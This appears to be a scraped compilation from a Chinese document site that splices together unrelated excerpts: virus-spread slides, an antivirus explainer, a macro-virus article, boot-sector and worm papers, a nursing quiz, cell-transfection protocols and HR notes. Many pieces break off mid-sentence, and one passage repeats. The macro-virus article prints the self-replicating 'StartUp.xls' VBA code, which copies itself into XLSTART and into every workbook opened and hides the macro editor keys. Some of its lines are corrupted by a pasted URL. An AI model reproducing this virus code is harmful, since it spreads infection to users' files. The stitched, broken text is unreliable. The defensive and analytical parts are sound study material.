病毒的传播原理2

各種儲存媒體

–磁碟片、行動碟、拇指碟

? 透過Internet

–電子郵件、網頁瀏覽、即時應用程式

? 區域網路

–網路芳鄰、檔案共享、文件傳播

懷疑中毒的處理方式

? 電腦上的防毒軟體，平時應該注意：

–定期更新的動作是否完整

–排程(預約)掃毒與即時防護的機制

–相關日誌檔案的內容是否有所異常

–做好備份動作(記錄管理員帳號名稱與密碼) ? 日誌異常或防毒軟體發出通知時，應該注意：–立即向上回報狀態，避免狀況蔓延擴散

–執行：即時掃毒或即時防護程式並確定生效運作–不幸中毒檔案應直接解毒或是執行相關隔離

中毒後的解決方法

? 先行參考各家防毒軟體公司的產品說明或教育

訓練介紹

? 檢查感染何種病毒與病毒相關資訊

–迅速地隔離受感染的網路區段、抑制疫情擴散? 進行救援動作

–報請專業人員尋找源頭並正確清除相關病毒程式? 使用系統還原功能

–格式化硬碟(包含MBR啟動磁區)

? 中毒後使用平時備份資料回復

平日應做好的救援準備

? 養成良好的備份習慣，可使用光碟燒錄片或

是其它種類的儲存媒體將資料備份

? 準備救援磁片，例如：原版產品光碟(序號)

與修補檔(Servise Pack) 、正版應用程式、

開機片、Ghost等軟體

? 格式化硬碟的準備，整體重新安裝的準備，

系統片、驅動程式以及應用軟體等

防範電腦中毒的原則

? 不使用盜版軟體或來路不明的軟體

? 避免使用在公共電腦用過的儲存媒體

? 沒有存取網路的時候離線

? 檢視副檔名

? 安裝一套合法的防毒軟體, 並時常更新病毒碼

? 開啟電子郵件的附加檔案前, 可開啟防毒軟體

的掃描功能掃描

? 關閉電子郵件軟體的預覽郵件功能

? 利用瀏覽器的安全設定功能來防範

一、病毒定义所谓病毒就是一段代码，其本质和大家使用的QQ、WORD什么的程序没有区别，只不过制作者令其具有了自我复制和定时发作进行破坏功能。一般病毒都在1K到数K大小。二、病毒种类我们所遇到的病毒可分引导型（感染磁盘引导区）程序型（感染可执行文件）宏病毒（感染WORD文档）等。三、病毒工作原理计算机系统的内存是一个非常重要的资源，我们可以认为所有的工作都需要在内存中运行（相当与人的大脑），所以控制了内存就相当于控制了人的大脑，病毒一般都是通过各种方式把自己植入内存，获取系统最高控制权，然后感染在内存中运行的程序。（注意，所有的程序都在内存中运行，也就是说，在感染了病毒后，你所有运行过的程序都有可能被传染上，感染那些文件这由病毒的特性所决定）1、程序型病毒的工作原理。这是目前最多的一类病毒，主要感染.exe 和.dll 等可执行文件和动态连接库文件，比如很多的蠕虫病毒都是这样。注意蠕虫病毒不是一个病毒，而是一个种类。他的特点是针对目前INTERNET高速发展，主要在网络上传播，当他感染了一台计算机之后，可以自动的把自己通过网络发送出去，比如发送给同一居欲网的用户或者自动读取你的EMAIL列表，自动给你的朋友发EMAIL等等。感染了蠕虫病毒的机器一秒种可能会发送几百个包来探测起周围的机器。会造成网络资源的巨大浪费。所以这次我们杀毒主要是针对这种病毒。那么病毒是怎么传染的那？切记：病毒传染的前提就是，他必须把自己复制到内存中，硬盘中的带毒文件如果没有被读入内寸，是不会传染的，这在杀毒中非常重要。而且，计算机断电后内存内容会丢失这我想大家都知道。所以：病毒和杀毒软件斗争的焦点就在于争夺启动后的内存控制权。2、程序型病毒是怎么传播的。病毒传播最主要的途径是网络，还有软盘和光盘。比如，我正在工作时，朋友拿来一个带病毒的软盘，比如，该病毒感染了磁盘里的A文件，我运行了一下这个A文件，病毒就被读如内存，如果你不运行染毒文件，程序型病毒是不会感染你的机器的（不要骂，我这里说的是程序型病毒，后面我会说引导型病毒，他只要打开软盘就会感染）当染毒文件被运行，病毒就进入内存，并获取了内存控制权，开始感染所有之后运行的文件。比如我运行了WORD。EXE ，则该文件被感染，病毒把自己复制一份，加在WORD.EXE文件的后面，会使该文件长度增加1到几个K。（不是所有病毒都这样，我举这个离子只是想介绍病毒感染过程）好，接下来，比如说我关机了，则内存中的病毒被清除，我机子中所有的染毒文件只有WORD.exe。第二天，我又开机时，内存是干净的。比如我需要用WORD，于是，该染毒文件中的病毒被读如内存，继续感染下面运行的程序，周而复始，时间越长，染毒文件越多。到了一定时间，病毒开始发作（根据病毒作者定义的条件，有的是时间，比如CIH，有的是感染规模等等）执行病毒作者定义的操作，比如无限复制，占用系统资源、删除文件、将自己向网络传播甚至格式化磁盘等等。但是，无论如何，病毒只不过是一段代码，他不可能破坏硬件（欢迎和我讨论），就算是CIH也不是破坏硬件，他只是改写了BIOS中的数据，实际上还是软破坏。什么叫破坏硬件？就是病毒发作时，你的硬盘啪的一下裂成两半，可能吗？所以，完全不必惧怕病毒，他不会让我门受到太大的经济损失，如果我们养成良好的工作习惯的话（比如自己的文档不要保存在C盘等，后面我会细说）3、引导型病毒的

工作原理看了前面的病毒传染过程，大家很容易想到，只要我启动计算机后不运行染毒程序，直接删除不就可以了。实际上，现在的病毒没有那么弱智的，下面我门来看看其他的几种传染机制，首先看看引导型病毒刚才说了，病毒必须进入内存才可以继续感染，只有被运行他才可以进入内存，那么与等用户来运行，如果用户长期不用这个染度文件，岂不是等的花而也谢了。引导型病毒感染的不是文件，而是磁盘引导区，他把自己写入引导区，这样，只要磁盘被读写，病毒就首先被读取入内存。这就是为什么杀毒要用干净的启动盘启动，为的就是防止引导型病毒。下面我详细的谈一下磁盘引导区，看不懂的可以跳过去。4、引导型病毒是如何传播的在计算机启动时，必须读取硬盘主引导区获得分区信息，再读取C：盘引导区获取操作系统信息，这时候任何杀毒软件都无法控制，这样我先介绍一下计算机的启动顺序，大家只要记住一点就是：任何程序都要被读入内存才会起作用。计算机加电后，内存是空的，首先从BIOS中读取一些启动参数到内存中，这些命令控制计算机去做下一步工作就是自检。（BIOS就是固化在ROM中的基本输入输出系统的意思，ROM是只读存储器，因为计算机是一个机电设备，他不会自己干什么事情，必须由软件，也就是人事先写好的程序来控制他工作，而这些程序必须被读入内存才可以控制计算机，哈哈越扯越远了，不说了，在将就变成计算机基础讲座了，哈哈）接下来，计算机自检，发现硬盘，读取硬盘主引导程序到内存中，再读取C盘的引导程序到内存中，再读取操作系统文件到内存中，然后开始由操作系统文件控制计算机开始启动。启动完毕后，读入各种自动运行的文件，比如天网放火墙、QQ、病毒监测软件、等等，前面说过，谁先进入内存，谁先占据系统控制权，从上面的启动顺序可以发现，如果病毒在引导区，那么，他被读入内存的时候，杀毒软件还不知道在那里呢。举个离子：比如我拿了一张染有引导型病毒的软盘用，当我双击A盘图标后，计算机开始读软盘，首先读入软盘引导区，病毒随之进入内存，并立即把自己写入硬盘引导区（如果开了病毒检测，则时可以检测到并杀之）。如果没有装杀毒软件，检测布道，则下次开机时，计算机自检之后，读硬盘引导区时就会同时读入病毒，接下来，病毒获得系统控制权，改写操作系统文件，隐藏自己，然后计算机继续启动进入WIN200桌面，然后病毒检测才开始运行，病毒完全可能已经把自己伪装起来，让杀毒软件找不到。所以这中病毒一定要用启动盘启动后，再杀，就是为了跳过读硬盘引导区那一段。在后面我会纤细介绍。5、病毒如何自动把自身装入内存。刚才介绍了现在的病毒不会等待用户去运行染毒文件才进驻内存，他们都有自己的办法运行自己，进驻内存，但是有一个共同的特征就是，他必须把自己放在合适的位置，让系统在启动的某个阶段自动去调用他。因为计算机刚刚加电的时候，系统控制权是在BIOS手里的（因为他最早装入内存），而BIOS是保存在只读的ROM中的，所以这时，系统是无毒的，所以引导型病毒要做的就是在BIOS向操作系统交权之前也就是读取启动盘时截取之。那么程序型病毒怎么把自身装如内存呢？他没有截取控制权的这个能力，BIOS会顺利的把控制权交给操作系统，这时，用户看到的就是开始启动WIN200，由于操作系统在启动时会读取大量的动态联结库文件，病毒就可以把自己放在一个合适的位置上，然后告诉WIN2000启动时把自己读如内存，这一步很好实现，比如大家都知道，QQ启动时会被自动运行，实际上，程序型病毒自动运行自己的办法和QQ从本质上是相同的。就是让系统在启动的某个阶段自动去调用而已。下面先介绍蠕虫病毒，用他携带的木马程序的自动运行方式来介绍一下这个过程。四、关于蠕虫病毒我们学校网络中最多的就是蠕虫病毒，所以我要单独的说一下。蠕虫病毒是在INTERNET高速发展后出现的病毒，他具有了一些新特性。大部分的蠕虫病毒是程序型的，不会感染引导区，他们一般通过邮件传播（注意，不是唯一的传播方式，所有传统的传播方式都会传播之,并且许多蠕虫病毒会自己搜索网络上没有感染的机器并感染之，他实际上是一个写的很好的以太网传输状态的检测工具^_^），并且大多携带木马程序，具有根据微软服务软件的漏洞来入侵计算机的攻击能力，大部分蠕虫病毒并不破坏计算机里的信息，只是疯狂的去感染其他

的计算机。感染了蠕虫病毒的计算机会不停的向外发送信息包，占用CPU可在80%以上，造成本机运行极其缓慢，网络拥塞，甚至可以导致网络瘫痪。一般蠕虫病毒会携带木马程序，安装在系统目录中，那么他是怎么自动运行的那，等一会我通过一个例子来介绍。五、什么是木马在我校很多机器中都有木马软件。木马就是远程控制软件的一种，也称为后门软件，其作用就是利用操作系统的漏洞或者使用者的疏忽来进入系统并在远程控制下从系统内部攻击系统。因特洛伊木马病毒是一种比较早期的成功的此种软件，且有古代战争典故，想必大家都知道。所以，后来多称此种带有攻击性质的远程控制软件为木马而其他的一些不带攻击性质的远程控制软件其实原理都是一样的，比如，塞门铁客（英文不会写）的大名鼎鼎的PCANYWHERE就是一个很成功的远程控制软件木马可以被杀毒软件查杀，所以，这里也把他作为病毒来处理。六、杀毒软件为什么能杀毒1、为什么杀毒软件必须不停的升级病毒就是一段代码，用一些语言写出来，比如汇编等。没种病毒都会有一些特征，叫做病毒特征码，实际上就是病毒代码中的一段读一无二的字符。举个容易理解的例子（实际上不是这样）：比如有个病毒发作后会格式化C：盘，那么病毒代码中就会有这么一句命令：FORMAT C：／U （实际上病毒不会去用DOS命令的，那太高级了，他会直接调用13号中断写硬盘，所以这里只是一个例子），那么就可以用FORMAT C：／U这样一个字符串作为这个病毒的特征代码，杀毒时，把所有的文件打开，从头到尾的搜索，如果找到着段代码，就报告发现病毒，然后清除之。从我描述的这个过程大家就可以明白，为什么杀毒软件必须不停的升级，因为，只有一种病毒被发现后，他的特征代码才能被找到，才能被杀毒软件识别。2、一个病毒从制作、传播到被杀死过程的例子：某个软件天才某天心情好，写了一个病毒，然后开始通过网络传播，然后大批的机器被感染，然后用户向杀毒软件公司抱怨有病毒杀不了，（其实大部分是杀毒软件公司的工作人员更早发现该病毒），然后，软件公司得到病毒样本，开始分析样本，找到病毒特征码，然后更新其病毒库，令其在杀毒时也查找这种病毒码，然后通知用户，请他们升级其购买的软件。然后用户升级，再杀毒，结果，该病毒被杀死，同时新的病毒被发现，周而复始。所以，杀毒软件永远跟在病毒的后面这是毫无疑问的。从我的叙述中大家可以发现，实际上，如果一种病毒被发现，几乎所有的公司都会得到他的样本并分析出他的特征码，然后另其自己的杀毒软件可以杀死该毒，那么，各种杀毒软件的优劣从何而来呢？3、什么杀毒软件好？其实，大家都有一样的病毒库，但是，在我刚才描述的查毒过程中，大家不知道有没有注意到，实际上他是等于在磁盘的所有文件中寻找某段特征代码，如果你的硬盘有20G的数据，他就要把这20G 的数据过滤一遍，逐个字符来对比，其速度我不说你们也能想到。更要命的是一般的病毒库都装了几万中病毒代码，哈哈，这么查上几万遍，查下来，估计你也从我们学校毕业了。所以实际上各个公司都有自己的杀毒引擎，实际上这才是核心技术，他使用的独特的算法高速检查，但就算这样，查一遍下来至少也要几个小时。所以，为了提高杀毒效率，可以令杀毒程序只检查一些可能被感染的文件，比如。EXE 。DLL等，象。BMP 。MPG就不会被检查，这样，时间就缩短了很多，然后，他们可以只检查每个。EXE文件的文件头，从这里可以发现病毒修改的蛛丝马迹。然后，他们开始把一些不常见的病毒排除出病毒库之外，只检查一些常见的病毒，就是所谓的快速杀毒。这是为什么不同软件查出不同病毒的原因之一，再下来，也是最关键的一点，就是杀毒软件根据病毒代码判断病毒是完全有可能发生误判，错判的，提高判断的准确性必须以牺牲查毒时间为代价。所以，不同公司的杀毒引擎提供不同的判断方法，导致了可能有的软件查不出来的毒别的软件可以查出。所以，所有的杀毒软件都包括两个主要的部分，一是杀毒引擎，另一个是病毒数据库。病毒数据库必须不停的更新，就我校的情况我个人推荐半个月更新一次。我认为，各种杀毒软件其实功能相差不多，主要是看哪个可以迅速更新，再好的杀毒软件不跟新等于没有。

宏病毒原理及防范

宏病毒原理及防范 一、常见宏病毒 1．startup宏病毒 宏病毒其实并不神秘，其工作原理是借用宏表4.0的auto_open事件启动病毒代码的复制和病毒文件的新建，新建的文件常放在xlsrt文件夹下。然后利用xlstart文件夹文件可以自动启动的原理把病毒代码复制到新打开的excel文件中。下面先看看startup宏病毒代码吧，注意红字部分。 Sub auto_open() On Error Resume Next If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then Application.ScreenUpdating = False ThisWorkbook.Sheets("StartUp").Copy ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls") n$ = https://www.sodocs.net/doc/9d16891716.html, ActiveWindow.Visible = False Workbooks("StartUp.xls").Save Workbooks(n$).Close (False) End If Application.OnSheetActivate = "StartUp.xls!cop" Application.OnKey "%{F11}", "StartUp.xls!escape" Application.OnKey "%{F8}", "StartUp.xls!escape" End Sub Sub cop() On Error Resume Next If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then Application.ScreenUpdating = False n$ = https://www.sodocs.net/doc/9d16891716.html, Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1) Sheets(n$).Select End If End Sub 2．book1病毒 book1病毒最明显的标志是打开excel时自动跳出一个book1空文件。这种病毒和startup病毒工作原理相似，但启动方式不太一样，该病毒会在excel文件中添加和复制一个宏表，利用宏表4。0程序的auto_open事件启动宏表中的宏代码，进行代码复制，病毒文件创建。打开中了book1病毒文件，在插入-名称里会出现很多陌生的定义名称，这些都是病毒启动名称。 二、病毒专杀 1．手工专杀 strartup.xls病毒。首先把宏的安全性设置为最高级，禁止所有宏运行。然后在电脑中搜索xlstart文件夹，找到后把该文件夹中的strartup.xls文件

护理管理学 试题与答案 第二章 管理理论和原理

一、单选题 1.下列哪项属于法约尔管理过程理论的主要内容( ) A. 管理需要有稳定的行政组织体系 B.工作应流程化、标准化 C. 管理过程要遵循14项管理原则 D.实行刺激性报酬制度 2.下列哪项反映了现代管理的系统原理（) A. 管理活动中以做好人的工作为根本 B.管理活动中重视处理人际关系 C. 管理活动要把握全局、总体规划 D.管理活动要注意讲求实效 3.护理部根据护理专业的发展变化及时调整工作模式，遵循的管理原理是（) A. 系统原理 B.人本原理 C. 动态原理 D.效益原理 4.下列哪项描述是管理的动态原理的内容（) A. 管理过程要适应各种变化 B.管理过程有统一的整体目标 C. 管理的各要素间相互联系 D.管理中有系统分析的方法和观点 5.韦伯的行政组织理论的主要内容是（) A. 企业的活动可分为六项 B.管理活动中要遵循14项原则 C. 管理分工原则 D.组织活动必须按照理性原则进行 6.与现代管理人本原理相对应的原则是（) A. 整分合原则 B.价值原则 C. 弹性原则 D. 能级原则 7.首次强调管理中人的因素的理论是（) A. 人际关系学说 B.人的基本需要层次论 C. 管理过程理论 D.群体行为理论

8.根据法约尔的管理过程理论，处于企业经营核心地位的活动是（) A．技术活动B．商业活动 C．管理活动D．财务活动 9．首次提出“在正式组织中存在着非正式组织"观点的是( ) A.泰勒的科学管理理论B．法约尔的管理过程理论 C．梅奥的人际关系学说D.马斯洛的人类需要层次理论 10．机构的整体功效大于各组成部分功效的叠加反映了系统特性的( ) A．整体性B．相关性 C．层次性D．目的性 11．医院机构要分成有上下等级关系的部门层级，反映了系统特性的( ) A．整体性B．相关性 C．层次性D．目的性 12．泰勒科学管理理论重点研究的内容是( ) A．生产中工人的劳动效率B．一般管理原理和管理效率 C．理想的行政组织理论D．生产过程中的人际关系 13．法约尔的管理过程论着重研究( ) A．生产中工人的劳动效率B．生产过程中的人际关系 C．理想的行政组织理论D．一般管理原理和管理效率 14．韦伯的行政组织理论着重研究( ) A．生产中工人的劳动效率B．一般管理原理和管理效率 C．理想的行政组织理论D．生产过程中的人际关系 15．梅奥的人际关系学说着重研究( )

引导型病毒的机理和解析

引导型病毒的机理和解析

引导型计算机病毒的机理和解析 摘要：引导型病毒是什么，其技术发展，优缺点，特点以及来源，引导型病毒的机制，解析源于DOS高级版本以及Windows 9X的新型引导型病毒的结构，并提出引导型病毒的检测和防治方法。 关键词：引导区硬盘内存新型引导型病毒病毒结构防治 计算机病毒是指在计算机程序中插入的破坏计算机功能或数据，影响计算机使用并且能够自我复制的一组计算机指令或程序代码。计算机病毒具有3个基本特性：感染性、潜伏性和表现性。换句话来说计算机病毒是人为的特制程序或指令程序，具有自我复制能力，并有一定的潜伏性、特定的触发性和很大的破坏性。 计算机病毒的种类繁多，按感染方式分为：引导型病毒、文件感染病毒和混合型病毒。引导型病毒感染硬盘主引导扇区或引导扇区以及软盘的引导扇区，如大麻、火炬、BREAK等病毒。 1 引导型病毒 1.1 简介 引导型病毒寄生在主引导区、引导区，病毒利用操作系统的引导模块放在某个固定的位置，并且控制权的转交方式是以物理位置为依

据，而不是以引导型病毒寄生在主引导区、引导区，病毒利用操作系统的引导模块放在某个固定的位置，并且控制权的转交方式是以物理位置为依据，而不是以操作系统引导区的内容为依据，因而病毒占据该物理位置即可获得控制权，而将真正的引导区内容搬家转移，待病毒程序执行后，将控制权交给真正的引导区内容，使得这个带病毒的系统看似正常运转，而病毒已隐藏在系统中并伺机传染、发作。 引导型病毒进入系统，一定要通过启动过程。在无病毒环境下使用的软盘或硬盘，即使它已感染引导区病毒，也不会进入系统并进行传染，但是，只要用感染引导区病毒的磁盘引导系统，就会使病毒程序进入内存，形成病毒环境。 1.2 计算机启动过程 在分析引导型病毒之前，必须清楚正常的系统启动过程。上电或复位后，ROM_BIOS的初始化程序完成相应的硬件诊断，并设置

整理)慢病毒稳转细胞株步骤

稳转慢病毒 一、所需试剂 1、慢病毒载体（详细信息见附录及《质粒的扩增提取》）（大肠杆菌-80℃保存2-3年，质粒-20℃保存2-3年，病毒液-80℃保存1年） （1）载体质粒：两端的LTR、剪切位点、包装信号Ψ以及抗性或荧光基因、gag基因5′端350bp的序列及位于env序列中的RRE，含宿主RNA聚合酶识别部分 （2）包装质粒（psPAX2）：包含了pol、gag包装成分 （3）包膜质粒（pMD2.G）：用其他病毒的包膜蛋白代替了env基因. 三种质粒共同转染产生不具有自我复制能力的病毒载体。 2、包装细胞：293T细胞 3、菌株：大肠杆菌，用于提取质粒 4、转染试剂：XTREME-GENE（-20℃保存，不可分装），一种脂质与其他组份构成的混合物 5、浓缩试剂（配好后4℃保存，原材料室温保存）：5X PEG8000/NaCl溶液（聚乙二醇）：NaCl 8.766 g; PEG8000 50g溶解在200ml Milli-Q纯水中，高压蒸汽灭菌 **也可直接从公司买来病毒液（-80℃封口膜封口冻存管保存，4℃保存3天）：滴度一般为108TU/ml 6、10mg/ml polybrene（-20℃分装保存）：溴化己二甲铵。是带正电的小分子，与细胞表面的阴离子结合，提高慢病毒对细胞的感染效率，通常加入polybrene 能提高感染效率2～10 倍。有一定细胞毒性，需要摸索浓度（1～10μg/ml） 7、无血清培养基：optimen 8、贴壁细胞（复后3代以上的细胞） 9、puromycin：嘌呤霉素，用于筛选稳转细胞 二、具体步骤 <一>病毒包装与收集（中皿，转染步骤类似于瞬转） 第一天 1、种板，10×105个293T细胞，加入全培养基双抗DMEM 4-5ml，过夜 2、配制5X PEG8000/NaCl溶液 称取NaCl 8.766 g; PEG8000 50g溶解在200ml Milli-Q纯水中；121摄氏度 30min 湿热灭绝 30min；保存在4℃ 第二天 2、加入2ml全培养基DMEM 3、将1加入2，孵育10h，换成5ml全培养基

蠕虫的行为特征描述和工作原理分析

蠕虫的行为特征描述和工作原理分析* 郑辉＊＊　李冠一　涂菶生　 （南开大学 20-333# ，天津，300071） E-mail: zhenghui@https://www.sodocs.net/doc/9d16891716.html, https://www.sodocs.net/doc/9d16891716.html,/students/doctor/spark/zhenghui.htm 摘要：本文详细讨论了计算机蠕虫和计算机病毒的异同，指出它们除了在复制和传染方面具有相似性之外，还有很多不同点，如蠕虫主要以计算机为攻击目标，病毒主 要以文件系统为攻击目标；蠕虫具有主动攻击特性，而病毒在传播时需要计算机 使用者的触发。通过详细区分它们的不同行为特征，确定了在计算机网络安全防 范体系中不同角色的责任。然后描述了蠕虫发展的历史，从中可以看到，蠕虫产 生了越来越大的危害。通过分析计算机蠕虫的工作原理、功能结构、实体组成， 提出了蠕虫的统一功能结构模型，并给出了有针对性的对计算机蠕虫攻击进行防 范的措施。最后本文分析了一些新的蠕虫技术发展趋势，指出计算机蠕虫本质上 是黑客入侵行为的自动化，更多的黑客技术将被用到蠕虫编写当中来，由此可以 看出对蠕虫攻击的防治和对抗将是长期而困难的工作。 关键词：蠕虫，计算机病毒，计算机网络安全，蠕虫定义，蠕虫历史，行为特征，功能模型 一、　引言 计算机病毒给世界范围内的计算机系统带来了不可估量的危害，给人们留下了深刻的印象。同时给人们一种误解，认为危害计算机的程序就是病毒。从而不加区分把计算机病毒（Virus）、计算机蠕虫（Worm）、木马程序（Trojan Horse）、后门程序（Backdoor）、逻辑炸弹（Logic Bomb）等等这些概念都称为计算机病毒。这种误解不仅体现在媒体的宣传中，而且体现在病毒技术研究人员的文章[1][2]中，反病毒厂商对产品的介绍说明中，甚至政府部门制定的法律法规[3]当中。这种相近概念上的误解导致不能有效的给出针对不同类型危害计算机安全的程序的有效防治措施，也为整体的计算机安全防护带来了一定困难。另外，同一程序的不同分类也不利于对其性质的进一步研究和分析。 计算机病毒和计算机蠕虫在传播、复制等特性上非常相似，尤其容易造成人们的误解。导致误解的原因有很多，一方面由于反病毒技术人员自身知识的限制，无法对这两种程序进行清楚细致的区分；另一方面虽然病毒的命名有一定的规范[4][5]，但病毒编写者在为自己的程序起名字的时候并不一定遵循这个规范，利用网络功能如电子邮件进行传播的病毒常常被病毒编写者冠以蠕虫的名字，这也给人们带来一些误导。为了照顾这种病毒的命名，曾有文献试图将蠕虫细分为活动蠕虫和邮件蠕虫[6]。由于用计算机病毒这个称谓不能涵盖所有危害计算机的程序的特征，而且容易产生误导，所以有的文献采用了含义更广泛的称谓“恶意软件”（malware）[7]来统一称呼它们。从蠕虫产生开始，十几年来，很多研究人员对蠕 *高等学校博士点学科点专项科研基金资助课题（编号：2000005516）。 **作者简介：郑辉（1972～），男，吉林伊通人，博士研究生，主要研究领域为网络与信息安全。李冠一（1978～），女，辽宁鞍山人，硕士研究生，主要研究领域为模式识别，计算机视觉与图像处理等。涂奉生（1937～），江西南昌人，博士生导师，主要研究领域为CIMS， DEDS理论，制造系统及通讯理论。

引导型病毒的机理和解析

引导型计算机病毒的机理和解析 摘要：引导型病毒是什么，其技术发展，优缺点，特点以及来源，引导型病毒的机制，解析源于DOS高级版本以及Windows 9X的新型引导型病毒的结构，并提出引导型病毒的检测和防治方法。 关键词：引导区硬盘内存新型引导型病毒病毒结构防治 计算机病毒是指在计算机程序中插入的破坏计算机功能或数据，影响计算机使用并且能够自我复制的一组计算机指令或程序代码。计算机病毒具有3个基本特性：感染性、潜伏性和表现性。换句话来说计算机病毒是人为的特制程序或指令程序，具有自我复制能力，并有一定的潜伏性、特定的触发性和很大的破坏性。 计算机病毒的种类繁多，按感染方式分为：引导型病毒、文件感染病毒和混合型病毒。引导型病毒感染硬盘主引导扇区或引导扇区以及软盘的引导扇区，如大麻、火炬、BREAK等病毒。 1 引导型病毒 1.1 简介 引导型病毒寄生在主引导区、引导区，病毒利用操作系统的引导模块放在某个固定的位置，并且控制权的转交方式是以物理位置为依据，而不是以引导型病毒寄生在主引导区、引导区，病毒利用操作系统的引导模块放在某个固定的位置，并且控制权的转交方式是以物理位置为依据，而不是以操作系统引导区的内容为依据，因而病毒占

据该物理位置即可获得控制权，而将真正的引导区内容搬家转移，待病毒程序执行后，将控制权交给真正的引导区内容，使得这个带病毒的系统看似正常运转，而病毒已隐藏在系统中并伺机传染、发作。 引导型病毒进入系统，一定要通过启动过程。在无病毒环境下使用的软盘或硬盘，即使它已感染引导区病毒，也不会进入系统并进行传染，但是，只要用感染引导区病毒的磁盘引导系统，就会使病毒程序进入内存，形成病毒环境。 1.2 计算机启动过程 在分析引导型病毒之前，必须清楚正常的系统启动过程。上电或复位后，ROM_BIOS的初始化程序完成相应的硬件诊断，并设置ROM_BIOS中断和参数，调用INT19H自举。注意ROM_BIOS初始化程序已设置了BIOS中断。 对于硬盘启动，自举程序将硬盘物理第1扇（主引导记录）读到内存首址为0:7C00的区域处，开始执行硬盘主引导区程序，找到激活分区，并将该分区首扇（引导区）也读到0:7C00处（自身下移），

脂质体转染的实验原理与操作步骤大全

脂质体转染的实验原理与操作步骤大全 细胞转染的方法主要包括：电穿孔法、显微注射、基因枪、磷酸钙共沉淀法、脂质体转染法、多种阳离子物质介导、病毒介导的转染等，理想的细胞转染方法是具有高转染效率、对细胞的毒性作用小等，本文主要介绍细胞转染常用的方法-脂质体转染的原理和操作步骤等。 脂质体(lipofectin regeant，LR)试剂是阳离子脂质体N-[1-2，3-Dioleyoxy，Propyl]-n， n，n-Trimethylammonium Chloride(DOTMA)和Dioleoyl photidye-thanolamine(DOPE)的混合物[1：1(w/w)]。它适用于把DNA转染入悬浮或贴壁培养细胞中，是目前条件下最方便的转染方法之一。转染率高，优于磷酸钙法，比它高5~100倍，能把DNA和RNA转染到各种细胞。 用LR进行转染时，首先需优化转染条件，应找出该批LR对转染某一特定细胞适合的用量、作用时间等，对每批LR都要做：第一，先要固定一个DNA的量和DNA/LR混合物与细胞相互作用的时间，DNA可从1~5μg和孵育时间6小时开始，按这两个参数绘出相应LR需用量的曲线，再选用LR和DNA两者最佳的剂量，确定出转染时间(2~24小时)。因LR对细胞有一定的毒性，转染时间以不超过24小时为宜。 细胞种类：COS-7、BHK、NIH3T3、Hela和Jurkat等任何一种细胞均可作为受体细胞。 一、脂质体(liposome)转染方法原理 脂质体(liposome)转染方法原理：脂质体((Iiposome)作为体内和体外输送载体的工具，已经研究的十分广泛，用合成的阳离子脂类包裹DNA，同样可以通过融合而进人细胞。使用脂质体将DNA带人不同类型的真核细胞，与其它方法相比，有较高的效率和较好的重复性。 中性脂质体是利用脂质膜包裹DNA，借助脂质膜将DNA导入细胞膜内。带正电的阳离子脂质体，DNA并没有预先包埋在脂质体中，而是带负电的DNA自动结合到带正电的脂质体上，形成DNA-阳离子脂质体复合物，从而吸附到带负电的细胞膜表面，经过内吞被导入细胞。 二、脂质体转染操作步骤 1、操作步骤[方法一]： (1)细胞培养：取6孔培养板(或用35mm培养皿)，向每孔中加入2mL含1~2×105个细胞培养液，37℃CO2培养至40%~60%汇合时(汇合过分，转染后不利筛选细胞)。 (2) 转染液制备：在聚苯乙稀管中制备以下两液(为转染每一个孔细胞所用的量)A液：用不含血清培养基稀释1-10μg DNA，终量100μL，B液：用不含血清培养基稀释2-50μgLR，终量100μL，轻轻混合A、B液，室温中置10-15分钟，稍后会出现微浊现象，但并不妨碍转染(如出现沉淀可能因LR或DNA浓度过高所致，应酌情减量)。 (3)转染准备：用2mL不含血清培养液漂洗两次，再加入1mL不含血清培养液。

蠕虫病毒的特征与防治.doc

研究生课程论文 蠕虫病毒的特征与防治 摘要 随着网络的发展，以网络传播的蠕虫病毒利用网络全球互联的优势和计算机系统及网络系统安全性上的漏洞，己经成为计算机系统安全的一大的威胁。采用网络传播的蠕虫病毒与传统的计算机病毒在很多方面都有许多不同的新特点。本文对蠕虫病毒的特征和防御策略进行了研究，透彻分析了几个流行的蠕虫病毒的本质特征和传播手段，并提出了防治未知病毒以及变形病毒的解决方案与虚拟机相结合的基于攻击行为的着色判决PN机蠕虫检测方法。 关键词: 蠕虫，病毒特征，病毒防治

1引言 “蠕虫”这个生物学名词于1982年由Xerox PARC的John F. Shoeh等人最早引入计算机领域，并给出了计算机蠕虫的两个最基本的特征:“可以从一台计算机移动到另一台计算机”和“可以自我复制”。最初，他们编写蠕虫的目的是做分布式计算的模型试验。1988年Morris蠕虫爆发后，Eugene H. Spafford为了区分蠕虫和病毒，给出了蠕虫的技术角度的定义。“计算机蠕虫可以独立运行，并能把自身的一个包含所有功能的版本传播到另外的计算机上。”计算机蠕虫和计算机病毒都具有传染性和复制功能，这两个主要特性上的一致，导致二者之间是非常难区分的。近年来，越来越多的病毒采取了蠕虫技术来达到其在网络上迅速感染的目的。因而，“蠕虫”本身只是“计算机病毒”利用的一种技术手段[1]。 2蠕虫病毒的特征及传播 1、一般特征: (1)独立个体，单独运行; (2)大部分利用操作系统和应用程序的漏洞主动进行攻击; (3)传播方式多样; (4)造成网络拥塞，消耗系统资源; (5)制作技术与传统的病毒不同，与黑客技术相结合。 2、病毒与蠕虫的区别 (l)存在形式上病毒寄生在某个文件上，而蠕虫是作为独立的个体而存在;

02第二章 人力资源开发与管理的基本原理

第二章人力资源开发与管理的基本原理 复习题 1、人性假设有哪几种？其差别何在？ 答：人性假设有“经济人假设”，“社会人假设”，“自我实现人假设”，“复杂人假设”四种。“经济人假设”核心观点：人是经济人，由经济诱因引发工作动机，被组织操纵、激励和控制下从事工作，行事是理性的，情感是非理性的；“社会人假设”中人是社会人，工作动机是社会需要，社会人期望领导者承认并满足他们的社会需要；“自我实现人假设”的核心是人是“自我实现人”，根据人的需要从低级到高级分为多种层次，最终满足自我实现的需要，人是自我激励和自我控制，自发的工作，适应环境，能调整自己的目标，与组织共同发展；“复杂人假设”中人的工作动机不仅受生理、心理、社会等因素影响，还会受时间等因素影响，工作动机复杂多变，动机模式是与组织相互作用的结果，工作动机与所在的团体和组织有关，对不同的管理方式也会有不同的反应。 2、需要层次论有哪些重要内容〉怎样应用？ 